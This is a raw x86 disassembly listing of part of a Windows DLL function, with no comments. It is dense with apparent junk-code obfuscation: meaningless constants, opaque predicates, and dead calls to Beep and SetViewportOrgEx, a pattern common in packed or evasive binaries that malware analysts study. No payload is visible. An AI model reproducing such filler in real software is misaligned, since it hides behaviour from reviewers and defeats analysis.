mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c]
test eax, eax
jne 0x1001d2fc
cmp dword [ebp - 0x1c], 0xf6802998
mov edx, ebx
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
je 0x1001d2fe
mov edx, edi
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp edx, edi
sete al
cmp ecx, eax
jge 0x1001d33d
cmp dword [ebp - 0x1c], ebx
je 0x1001d33d
mov dword [ebp - 0x40], 0x468a
mov dword [ebp - 0x1c], 0xfffffff0
jmp 0x1001d335
cmp dword [ebp - 0x40], ebx
jne 0x1001d356
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x19
jle 0x1001d32d
jmp 0x1001d356
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1001d356
push 0x240e
push 0x1950
call dword [sym.imp.KERNEL32.dll_Beep]
mov dword [ebp - 0x24], 8
lea ecx, [ebp - 0x180]
push 3
mov dword [ebp - 0x30], 4
call fcn.1000e8c4
mov dword [ebp - 0x18], 0xbb8bffb
mov dword [ebp - 0x4c], 0x56574b60
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x60], 5
mov dword [ebp - 0x5c], 0x3bbb66ef
mov dword [ebp - 0x38], 0xeab3ae5d
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x2c], ebx
jmp 0x1001d3b6
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x180]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1001d3a7
mov dword [ebp - 0x2c], ebx
jmp 0x1001d3d2
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x49c], 0xfe737448
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1001d3c1
mov dword [ebp - 0x24], 0x15
cmp dword [ebp - 0x24], 3
jl 0x1001d524
mov esi, dword [ebp - 0x180]
mov dword [ebp - 0x2c], 0x2b57e8b7
mov dword [ebp - 0x48], 0xd63d2c82
mov dword [ebp - 0x14], ebx
jmp 0x1001d413
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x288], 0x50678e04
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001d402
mov dword [ebp - 0x2c], ebx
jmp 0x1001d47e
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x1c], ebx
jmp 0x1001d475
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x180]
cmp dword [eax + ecx*4], ebx
jne 0x1001d456
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x180]
cmp dword [eax + ecx*4], ebx
jne 0x1001d456
mov ecx, dword [ebp - 0x1c]
mov edx, ebx
mov eax, dword [ebp - 0x180]
cmp dword [eax + ecx*4], ebx
je 0x1001d458
mov edx, edi
cmp dword [ebp - 0x1c], ebx
je 0x1001d466
mov eax, dword [ebp - 0x1c]
mov ecx, edi
neg eax
jne 0x1001d468
mov ecx, ebx
xor eax, eax
cmp edx, ecx
setne al
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1001d42a
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff1
jle 0x1001d41e
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x4c], eax
jg 0x1001d4bb
inc dword [ebp - 0x48]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x5c]
test eax, eax
jne 0x1001d4aa
mov ecx, ebx
cmp dword [ebp - 0x48], ebx
je 0x1001d4ac
mov ecx, edi
mov eax, dword [ebp - 0x494]
imul eax, ecx
test eax, eax
mov eax, edi
jne 0x1001d4bd
mov eax, ebx
mov dword [ebp - 0x44], eax
xor edx, edx
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x38]
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x60]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, dword [esi + 8]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
neg eax
cmp eax, ecx
setne dl
add edx, edx
sub edx, dword [ebp - 0x490]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jge 0x1001d3ef
lea ecx, [ebp - 0x180]
call fcn.1000e920
mov ecx, dword [ebp - 0x54]
mov eax, dword [ecx]
mov dword [ebp - 0x1c], 0x5a136951
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], 0xb7d6b592
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], ebx
jmp 0x1001d568
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa8], 0xae97
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001d557
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x1001d5ec
mov dword [ebp - 0x40], edi
xor ecx, ecx
mov dword [ebp - 0x44], 0x445acee6
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
add edx, 7
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x1c]
jl 0x1001d5aa
mov esi, edi
cmp dword [ebp - 0x18], ebx
jne 0x1001d5ac
mov esi, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0xa8]
cmp ecx, esi
mov eax, dword [ebp - 0x1c]
setge dl
mov dword [ebp + eax*4 - 0xa8], ecx
xor eax, eax
imul edx, dword [ebp - 0x1c]
cmp edx, 4
setne al
add eax, 0x7c629c4d
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x1c]
jns 0x1001d575
push 7
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1001d60e
mov dword [ebp - 0x2c], ebx
jmp 0x1001d606
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xa8], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1001d5f9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jne 0x1001d5f4
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x44], 0x7007
cmp dword [ebp - 0x44], 0x715e
jle 0x1001d68b
mov ecx, ebx
mov dword [ebp - 0x38], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x540]
cdq
push edx
push eax
call fcn.1000d330
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001d652
mov eax, dword [eax]
push eax
call fcn.10048556
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x540]
call fcn.1000ec13
mov ecx, dword [ebp - 0x38]
inc esi
cmp esi, 0xe08
jl 0x1001d62f
inc edi
cmp edi, 0x9f
jl 0x1001d62d
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x4358
jl 0x1001d62b
mov dword [ebp - 0x14], 0x3d7d490c
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1001d6b1
push ebx
push 0x1ced
push 0xbe9
push 0x716
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov dword [ebp - 0x14], ebx
jmp 0x1001d6c7
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], 0xfffffffc
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jg 0x1001d6b6
cmp dword [ebp - 0x44], 0x6ec2
jge 0x1001d6e1